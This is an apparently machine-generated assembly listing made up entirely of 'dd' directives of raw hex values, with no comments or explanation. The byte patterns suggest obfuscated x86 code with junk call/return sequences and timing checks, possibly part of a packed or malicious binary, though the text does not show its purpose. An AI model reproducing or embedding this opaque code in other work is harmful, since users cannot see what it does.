		dd 0FC50F4BBh, 0D465858Dh, 8689062Ch, 0B8h, 173000BFh
		dd 60006A76h, 64E98166h, 63B6BE41h, 0FF6173DDh,	2CC096B5h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0A30067D6h, 303195FFh, 8B0F0629h, 17h, 0BE8h
		dd 0FA35EC00h, 800534A5h, 6FDDE8E0h, 184D9529h,	965F0629h
		dd 9650FD8Ah, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Bh,	61C35545h, 0D5DC642Ch, 661A00A8h, 9F32DF81h, 0C096B5FFh
		dd 6A062Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 8F2C32C3h, 0CF816649h, 9D8B573Ah,	6291F19h
		dd 2F9595FFh, 0BF0F0629h, 0A9BD83D8h, 62911h, 38840Fh
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h
		dd 50400000h, 0BD89ABC3h, 6290669h, 5E9h, 14ECB700h, 8B501A1Fh
		dd 243489DFh, 16458589h, 0B5FF0629h, 62CC096h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0F8C35242h, 0C9BD8B23h
		dd 0FF06291Eh, 292D3595h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0B7ED6243h
		dd 95895023h, 62905A5h,	96B5FF5Bh, 8B062CC0h, 292DE9BDh
		dd 595FF06h, 66062906h,	0E08AC781h, 0ABDBD83h, 0F020629h
		dd 3984h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0B33246D5h, 0B99D29ADh, 8B062918h
		dd 29182985h, 0E0BB6606h, 0C6F0h, 168DBD8Bh, 85C70629h
		dd 629065Dh, 0
		dd 8D8B6060h, 629061Dh,	5880F61h, 0BE000000h, 5A2BAF08h
		dd 0F2DBE961h, 10E9FFFFh, 97000000h, 367A758Dh,	7B59C117h
		dd 728D42DCh, 8B69FAA1h, 0F78166C1h, 858DABC4h,	6291425h
		dd 0C6816660h, 0AE9B429h, 8000000h, 0CEEB4732h,	1C1EA7DCh
		dd 0F5061DDh, 1C81h, 168E0F00h,	0E9000000h, 11h, 0C5DF3F6Bh
		dd 5EF4CED3h, 0DB9416EAh, 0E21ED562h, 240489C9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0C35646h, 9589E2F8h
		dd 629336Dh, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 6A8520C3h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0F8D0C6C2h
		dd 0A5BD2BFCh, 8B062925h, 0B1858DF9h, 6A062E26h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 8FA8C357h, 2B0655F5h, 198529E0h, 83062901h, 9D2905C0h
		dd 62912A5h, 8B525090h,	0F310FFEh, 686h, 880F00h, 5A000000h
		dd 0E8535058h, 6, 6E5D3874h, 5F5FF9FBh,	6AFC8A90h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1604h, 0C3514100h
		dd 8B87B9AEh, 29304DBDh, 6A006A06h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 69A5C350h
		dd 0F07C560Dh, 6B5F432Dh, 0CED95FFh, 6A0629h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 3D16A5C3h
		dd 3F65967Fh, 0BE9h, 9F589100h,	3D48550Fh, 20241831h, 98088D8Dh
		dd 8160062Ch, 0AA7946E2h, 14E832h, 78500000h, 0A63430E0h
		dd 0E7E1CE96h, 63952812h, 34373F53h, 5E57EAEFh,	0D1FF6158h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 88C35040h
		dd 61E9CFDDh, 0AB2903DEh, 29BD8333h, 106291Ah, 7B850Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 9D332DC3h, 6290665h, 5E9h, 3A7FF100h, 26A0A11h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0D1C35646h
		dd 0D7BF5090h, 901BAC61h, 14E8h, 0E2951100h, 81CC864Eh
		dd 0D0D59418h, 0BA154011h, 0CB49A7ADh, 0D8BF0F8Fh, 3195FF5Fh
		dd 89062930h, 29329D85h, 0DB0E906h, 0E80000h, 5D000000h
		dd 26BBED81h, 11E9062Eh, 3E000000h, 0E54B0E06h,	80CC5743h
		dd 1732B8A1h, 0E4914A1Dh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0D4C35040h, 0DEBF0F25h, 91B0858Dh, 6A062Ch
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 0D3C473C3h, 99D8B51h, 5F062920h, 68A0F50h, 52000000h
		dd 2B43BF66h, 2404895Fh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 7DC35141h, 0C40D2C9h,	0B04DB46h, 290CA5BDh
		dd 35FF6406h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 4EC35747h
		dd 57CA9589h, 6422840Dh, 2589h,	9D8B0000h, 6292011h, 2A1585FFh
		dd 9D310629h, 62924B1h,	0EF81FF6Ah, 41BC72C4h, 1B09B5FFh
		dd 6A0629h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 86B4DFC3h, 0FECC155Ah, 0DE999CCh,	0CD000000h
		dd 1AA3FF59h, 0FD3F469h, 2C5B4539h, 275595FFh, 3AE90629h
		dd 0B000001h, 2911359Dh, 100B006h, 2933598Dh, 0F70E606h
		dd 586h, 0F7816600h, 71E4574Dh,	1B2DBD8Bh, 613C0629h, 10F830Fh
		dd 0BD0B0000h, 6290C8Dh, 80C8B60Fh, 6BA8FD7h, 8B000000h
		dd 8B6660C1h, 69BD29D7h, 6106292Ch, 8104E8C1h, 0B1F680D7h
		dd 2D9D337Bh, 6606292Bh, 850FE2F7h, 2, 0DE9F88Bh, 72000000h
		dd 0D36A626Eh, 0D6378125h, 0C9889955h, 850FC82Bh, 8, 2880Fh
		dd 0D98B0000h, 13E9h, 0D66AB700h, 48F64F42h, 0B6D77F84h
		dd 0E7B40E39h, 13A5F3CFh, 9D29D18Bh, 6290E35h, 90E9h, 68F0F00h
		dd 81000000h, 0BFE8CEE7h, 4C858B7Ch, 66505F4Ch,	83C098BFh
		dd 0DF8107C0h, 1D83BA64h, 0E800C083h, 0Fh, 0C55C7E3Ah
		dd 0B82F18F2h, 4B3D8A00h, 66D3BE22h, 5B76C8BBh,	830FD03Bh
		dd 13h,	2820Fh,	0FE8A0000h, 40E9h, 0DBD2900h, 8B062921h
		dd 0FFFFFF8Dh, 0E183F5FFh, 2A840F01h, 8B000000h, 293519BDh
		dd 0FFA58306h, 0FEFFFFFFh, 3850Fh, 8B660000h, 0F9BD09FEh
		dd 8906292Ch, 5F4C4C95h, 0FE8B6650h, 0E9h, 5FB58D00h, 6A062DA8h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0CF2AC352h, 0F7FCEAFCh, 1C3C3B21h, 12E8006Ah
		dd 8E000000h, 0E61ADE06h, 0DFF242CBh, 0B47B31DEh, 2B305DD2h
		dd 958D891Ah, 5B06292Dh, 59195FFh, 85890629h, 6290C8Dh
		dd 102DB9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0BD8B5C65h, 6291ECDh, 2B459D8Bh
		dd 0E1830629h, 0FC6160FCh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0E4C35343h, 98FECE0h,	3717FC8Ah, 0B8h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0B19501E0h, 2B062911h, 0F99D89D2h, 0AD062913h
		dd 0E8D1C233h, 0E983D003h, 0F8F47504h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0B6C35242h,	45CF6957h, 0BBDA2D91h
		dd 1E67BCDEh, 880Dh, 5D9D8B00h,	8B062931h, 291E6D95h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0C0742922h, 69B8FE20h, 0E9FE8ABAh, 0Ah, 33143080h, 4309C6ADh
		dd 8D8BD51Bh, 6292D81h,	2E35B531h, 8B500629h, 3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 19h, 0BDC35545h,	9F59AD0Ch, 35858906h
		dd 0E9062933h, 8, 1D2F6391h, 38634CD2h,	1331BD83h, 0F000629h
		dd 7084h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 1AFFBA0Fh, 0F3AFA24Dh, 0A5B58985h
		dd 0B8062904h, 0
		dd 0A820Fh, 0F600000h, 82h, 61F18B00h, 0C699D01h, 8D8D0629h
		dd 6294D6Bh, 6AE1FFF9h,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 89FDC353h, 29262D9Dh
		dd 5BD8306h, 62920h, 3F1840Fh, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 0A1418EC3h
		dd 0EE85CB2Fh, 0B589B561h, 6292379h, 2005BD83h,	0F010629h
		dd 3D584h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 9D09E2D2h, 6290C6Dh, 2005BD83h, 0F030629h
		dd 36F86h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 9E90CDD9h, 810FECC5h, 6, 1FBDB589h
		dd 0F88A0629h, 51006A60h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1804h, 0C3514100h, 21A1FBF6h, 0D98C66BDh
		dd 10F9BD03h, 0E1800629h, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 2AC73D6Eh
		dd 8E0F80EFh, 16h, 0AE8h, 0F8680E00h, 0E478C43Ah, 2952E0CAh
		dd 291041BDh, 0C90A5F06h, 0FE840Fh, 0EF810000h,	0EC1D928h
		dd 1885858Bh, 6A0629h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 7E0C58C3h, 0CBB8403Eh, 160E1ACh
		dd 291271B5h, 58D8B06h,	61062934h, 0DED8533h, 6A0629h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 76DD79C3h, 24048950h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 0A7C35343h, 87AF3642h, 1DCA3B67h, 6AFABF0Fh
		dd 4E8F800h, 0FF000000h, 66001F03h, 0B350D88Bh,	24448B91h
		dd 8BF98B04h, 89DA8B00h, 0BF042444h, 2C78E070h,	0F8B70F58h
		dd 2DE99D33h, 95FF0629h, 629004Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 50C35646h, 0BCF381F8h, 89040052h
		dd 2CC09685h, 7CE9F806h, 0E9000001h, 8,	0C88842B9h, 1E515F89h
		dd 0C08E858Bh, 6660062Ch, 26BFDF8Bh, 615D1C94h,	1800C7h
		dd 85290000h, 62933DDh,	0C092B58Bh, 0BD0B062Ch,	6290A69h
		dd 2BC9858Bh, 32B70629h, 5E90689h, 5E000000h, 951D987Eh
		dd 1885858Bh, 6A0629h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1C0424h, 50400000h, 0EA7E20C3h, 4EB48736h, 4689E760h
		dd 57006A04h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1404h
		dd 0C3574700h, 0EE802h,	78380000h, 45A253B8h, 227C8836h
		dd 0BF225239h, 2383BF66h, 9E9965Fh, 9E000000h, 0D9EA0371h
		dd 0DE43F608h, 8810F50h, 60000000h, 6D37BA66h, 966155B2h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0FDC35747h
		dd 0EA8B5DEFh, 1D9509B1h, 81062933h, 0CC1877F7h, 8EB5FF61h
		dd 6A062CC0h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 39DEC353h, 63E001A6h, 7A6880ECh
		dd 81657F43h, 40852434h, 6A6560h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 8DFC00C3h, 2CC09685h
		dd 0F8B70F06h, 894FB750h, 6A2404h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 95FF95C3h, 629004Dh
		dd 61FEBF0Fh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 14h,	1CC35242h, 200585C7h, 30629h, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0F05B29C3h, 96BD8332h, 62CC0h, 0E840Fh, 0BD8B0000h
		dd 6291FE5h, 1EE9h, 97E78000h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 97C0C350h, 0BB662AE8h
		dd 0BD83EAA6h, 6292005h, 5D850F03h, 8B000004h, 292409BDh
		dd 96BD8306h, 62CC0h, 44A840Fh,	0BF660000h, 0BF0F1622h
		dd 96B5FFFFh, 6A062CC0h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 0C81BC357h,	668F8FC2h
		dd 8733CF81h, 0E7995FFh, 6A0629h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1A0424h, 51410000h, 9BE327C3h, 742E94FBh
		dd 0C08AB58Bh, 6A062Ch,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 6618D8C3h, 6C7D88Bh, 10001h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0C4C35343h, 92A5E781h
		dd 60964B3Dh, 916B966h,	0E95B5760h, 0Bh, 50F18BF2h, 97184CAh
		dd 61FBC934h, 52535061h, 6A965F5Fh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 179CC353h
		dd 0AE829ED7h, 0F05E780h, 680h,	558D8900h, 0FF06291Bh
		dd 2CC096B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0FFD88BE0h, 29072195h, 0B5BD8B06h
		dd 8B062932h, 2CC08AB5h, 79858B06h, 0F062924h, 583h, 0C3816600h
		dd 8689C4BCh, 0C4h, 958BD88Ah, 6291E6Dh, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Dh, 1DC35747h, 5FB824F0h
		dd 0F0C331B6h, 4C2836Ah, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 17h, 80C35343h, 8905E202h,	0BB662050h, 8B66C59Dh
		dd 65858DDAh, 0F062CD4h, 8689D8BFh, 0B8h, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 19h, 0D9C35242h, 0F17428EBh
		dd 0DDEF814Bh, 6A1730A1h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 43CEE89Bh
		dd 7591BDB6h, 0D958976h, 0FF062912h, 2CC096B5h,	0FF8BB706h
		dd 29303195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1404h, 0C3514100h, 0FE1B7E6h, 688h, 35BD8B00h, 96062928h
		dd 0BB50DE8Ah, 4FB0CC6Eh, 50006A96h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 0AE7ABDE9h
		dd 7C8214B1h, 0C096B5FFh, 0B70F062Ch, 9595FFFFh, 6606292Fh
		dd 0ED04EF81h, 11A9BD83h, 0F000629h, 6B84h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 0DBBF0F60h, 66525096h, 310FDF8Bh, 0EE8h, 16043B00h
		dd 0CDA3A83Eh, 0EF8F22C2h, 5FC3675Fh, 0F50585Ah, 885h
		dd 880F5300h, 0
		dd 6A965Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0F88B9FC3h, 0C096B5FFh, 6A062Ch, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
		dd 9E943C3h, 0BB000000h, 67ACB1D6h, 51B19506h, 74E78166h
		dd 3595FFF0h, 0F06292Dh, 488h, 1BF6600h, 12820FC9h, 0E8000000h
		dd 6, 852A6553h, 9D2B7CD7h, 6292E9Dh, 96B5FF5Bh, 6A062CC0h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 8BB2C352h, 0FC349E31h, 0FD59509h,	95FF0629h
		dd 6290605h, 9BDF8166h,	0BDBD83DCh, 206290Ah, 86840Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 0DBB90AC3h, 0E010CD1h, 892F7F4Ch,	29089985h
		dd 29858B06h, 6A062918h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0E12DC353h,	0EFBB6604h
		dd 0C677h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	99C35040h, 9DACC74Fh, 0D1411E52h, 27F99D8Bh, 0CB810629h
		dd 551257E5h, 65D85C7h,	629h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 1706C9C3h
		dd 6668AF91h, 0C8BEB81h, 0FFF387E9h, 56006AFFh,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 0F0622C37h
		dd 0C7FF9D13h, 880F479Ch, 4, 8A0ABF66h,	6AC18Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 858D14C3h, 6291425h,	0BFDBDB80h, 0F20CF67h, 5E850h
		dd 25090000h, 6655251Fh, 895BD98Bh, 6A2404h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0E12049C3h
		dd 0B8863241h, 14298589h, 8A0F0629h, 6,	0F959D8Bh, 6A0629h
		dd 14E8h, 0CAC0800h, 59CEDE92h,	7711F1FAh, 0FE9983CFh
		dd 0F07563F7h, 10E84Ch,	9F4A0000h, 0A017DF01h, 840AF6B1h
		dd 5CAD2131h, 5F5BF482h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 1E66E5C3h, 365D858Dh
		dd 8B66062Eh, 5C083F8h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 46C35040h, 0EE9B1D1h,	68000000h, 960D29CDh
		dd 79A334DBh, 799DBD0Ah, 5B51903Ch, 6A9050h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 26DD29C3h
		dd 0D995893Fh, 6A062905h, 830F00h, 6A000000h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 0DBC381F6h, 0FF5B1A28h, 290CED95h, 0D98B6606h, 0CED0E0BFh
		dd 88D8D6Bh, 0E9062C98h, 0Dh, 0B3A269F0h, 833567B1h, 829AADFFh
		dd 8AD1FFD2h, 29BD83FDh, 106291Ah, 87850Fh, 0BD8B0000h
		dd 62910C9h, 6A026Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 4D6EB7C3h, 0AEB742AEh, 1B890Fh
		dd 0E8530000h, 13h, 760A78BAh, 695CC20Fh, 0FD544916h, 0C7382E90h
		dd 5FF1C1FFh, 8E9505Bh,	0B4000000h, 84D1239Ah, 8901D176h
		dd 0F88B2404h, 303195FFh, 6A0629h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 89C28EC3h, 29285595h
		dd 0F1CE906h, 0E80000h,	5D000000h, 3667ED81h, 0BF66062Eh
		dd 6A7C1Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 23FAC3C3h, 4995EE71h, 0E99D89E9h,	8D062932h
		dd 2C91B085h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1404h, 0C3554500h, 6D9D8BABh, 90062925h, 3840F51h, 66000000h
		dd 505BD88Bh, 547DE5BFh, 6A9005h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 9DC58C3h, 68BA8E89h
		dd 9531FAE4h, 62917F5h,	35FF64h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 0F953C353h
		dd 0E851A10Bh, 9D8B2B14h, 629258Dh, 10E8h, 3A362700h, 70E89D12h
		dd 0EDA701D7h, 86672CAAh, 0EE8DBh, 83830000h, 556A42Dh
		dd 61B3D25Ah, 0A3752C80h, 5FFA8B66h, 8A60605Fh,	61FE8BF5h
		dd 25896461h, 0
		dd 43F232BFh, 1585FF56h, 6A06292Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0D46CC350h
		dd 65FCC0C0h, 5766CC3Dh, 0B9CB8166h, 0B58B60F5h, 62927D1h
		dd 3465858Bh, 66610629h, 6A5C7CBBh, 759D8BFFh, 0E906291Ah
		dd 10h,	9DB97450h, 0D7F3A15Dh, 0E1BA11CAh, 69F9119Bh, 264DB5FFh
		dd 14E80629h, 97000000h, 0BE1684F1h, 0D24F7EFFh, 0B7CFEB56h
		dd 0F138E895h, 0F7F2047h, 0FF5FDEBFh, 29275595h, 140E906h
		dd 0BD8B0000h, 62928DDh, 7E800B0h, 86000000h, 97064928h
		dd 0B589F9DEh, 6291F7Dh, 0F70E65Fh, 71E4FBB7h, 68A0Fh
		dd 0DB810000h, 4C1D032Fh, 830F613Ch, 10Ah, 0FDEB70Fh, 14E9C8B6h
		dd 67000000h, 0E68C8EC3h, 5F41E4C5h, 0D5A99299h, 7E9C5013h
		dd 81644A4Eh, 0B1B5A7C3h, 6BA56h, 8BF90000h, 0E38166C1h
		dd 0E8C15CA2h, 0E2F76604h, 23B19589h, 0C82B0629h, 29B98589h
		dd 0D18B0629h, 1005B589h, 0B7E90629h, 66000000h, 881BD781h
		dd 8BDF8B66h, 47554C85h, 0D98B6649h, 83F88B66h,	9D8B07C0h
		dd 6292361h, 0F00C083h,	0B83h, 6E900h, 21880000h, 8D3B80E6h
		dd 830FD03Bh, 22h, 17870Fh, 0BE80000h, 0C1000000h, 240A965Ah
		dd 1F9820CAh, 0B5896F7Eh, 62903F1h, 5CE95Bh, 8D8B0000h
		dd 0FFFFFFFFh, 11E8h, 0D0A03000h, 1E42FF32h, 0A3DB8371h
		dd 54D1D316h, 295BC845h, 2908419Dh, 1E18306h, 30840Fh
		dd 840F0000h, 6, 0EE19D01h, 0A5830629h,	0FFFFFFFFh, 0D99589FEh
		dd 89062909h, 47554C95h, 4DB52949h, 8B062935h, 292C0D9Dh
		dd 0E906h, 0B58D0000h, 62DB88Ch, 84BAD4BBh, 6A006A4Dh
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 14042444h
		dd 47000000h, 0F981C357h, 9195FFF5h, 6A062905h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 0E6A3C353h, 4FD94B22h, 0DE8h, 0D2268600h, 8940DE7h
		dd 0EF5A60ABh, 8C0FDFB0h, 6, 30DD9509h,	0B95F0629h, 0E0Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 9AC35040h
		dd 9D72D1C9h, 515ED88h,	0E183F98Bh, 52006AFCh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 66874395h
		dd 9D8BF88Bh, 6292791h,	53006AFCh, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0C7817628h, 2A30B8F2h
		dd 6AC02Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h
		dd 56460000h, 8B434AC3h, 89D22BFAh, 2913CD95h, 0C233AD06h
		dd 0D003E8D1h, 7504E983h, 5BD8BF4h, 6A062921h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
		dd 0AD62C357h, 0FE1D63DFh, 2353C193h, 2904559Dh, 880D5B06h
		dd 8B000000h, 6D958BFBh, 6A06291Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 5F74C353h
		dd 8BE3F012h, 290545BDh, 818D8B06h, 6A06292Dh, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0B967C351h, 0E28155Eh, 10E98EF5h, 0C2000000h, 35B36630h
		dd 0A777F967h, 225D24B3h, 504784D0h, 188BC28Bh,	188BC103h
		dd 0E8D1C18Bh, 188BC203h, 0BD8B5058h, 6292E51h,	46BB665Fh
		dd 31BD832Ch, 62913h, 98840Fh, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8B03CAC3h
		dd 2900E1BDh, 0A1BD8B06h, 3062934h, 292E39BDh, 0B806h
		dd 81660000h, 66AD90DBh, 955BD781h, 4D6B8D8Dh, 6A0629h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 377A5CC3h, 9B619C89h, 799D8B91h, 33062928h, 292E25BDh
		dd 6AE1FF06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 0B192C352h, 0F6DE0A50h, 0BD83F449h
		dd 6292005h, 0AD840F00h, 66000004h, 106FC381h, 19830Fh
		dd 14E90000h, 89000000h, 78B73C04h, 71DE9F61h, 0BB154343h
		dd 0D2E9FB1h, 83229FD5h, 292005BDh, 840F0106h, 497h, 83DEB70Fh
		dd 292005BDh, 860F0306h, 451h, 41C78166h, 0BF0F6014h, 0D98C66DAh
		dd 158B0Fh, 840F0000h, 0Fh, 9E8h, 5578CB00h, 34E5628Bh
		dd 805B5AC5h, 9D8B04E1h, 6291189h, 840FC90Ah, 126h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0C2C35343h, 959D8994h
		dd 8B062932h, 29188585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0DFB7C948h, 0E381954Dh
		dd 29E88F7Bh, 20598589h, 85330629h, 6290DEDh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0B5C35646h, 0AA33BBDFh
		dd 50D88BB2h, 5E8h, 0E4537A00h,	895FD407h, 9D0B2404h, 6292715h
		dd 0BD8B006Ah, 6290CE1h, 0FF311068h, 0F5051EBh,	87h, 815B5F00h
		dd 0D2EF2404h, 6A141Fh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 150424h, 55450000h, 607DB0C3h, 5A616056h, 4D95FF61h
		dd 89062900h, 2CC09685h, 10E906h, 77540000h, 0C667EC98h
		dd 0A71C28E3h, 8C2C49DEh, 70E93DDCh, 6A000002h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 0EA2CC352h, 0F8EC1B4Ch, 0D81747AEh, 755B589h, 858B0629h
		dd 62CC08Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 19h,	97C35545h, 0F9D8F285h, 0BE892h,	7EEA0000h, 4029768Ch
		dd 37C50BBDh, 0C75BBAh,	18h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 39C35646h, 77655E89h, 66C01EC3h
		dd 7E9DF8Bh, 0C9000000h, 28BFC079h, 0B70F2FD8h,	92B58BFEh
		dd 23062CC0h, 2910159Dh, 0C9858B06h, 5206292Bh,	83A8D381h
		dd 895B71E6h, 29C38106h, 8B13C2CFh, 29188585h, 0CD806006h
		dd 0D38166B1h, 89617D23h, 0B5290446h, 62931C9h,	0FE8h
		dd 99F70400h, 500B427Ah, 8FC8DEC4h, 0B9FF2F15h,	27019589h
		dd 965B0629h, 52505250h, 0EF0BF66h, 0D98B310Fh,	310F585Ah
		dd 5050585Ah, 8F0F5652h, 0
		dd 5A310F5Fh, 6A9658h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 744598C3h, 0C08EB5FFh, 6A062Ch
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 352C40C3h, 4A319F3Ah, 9D8B109Dh, 6292059h, 10799D89h
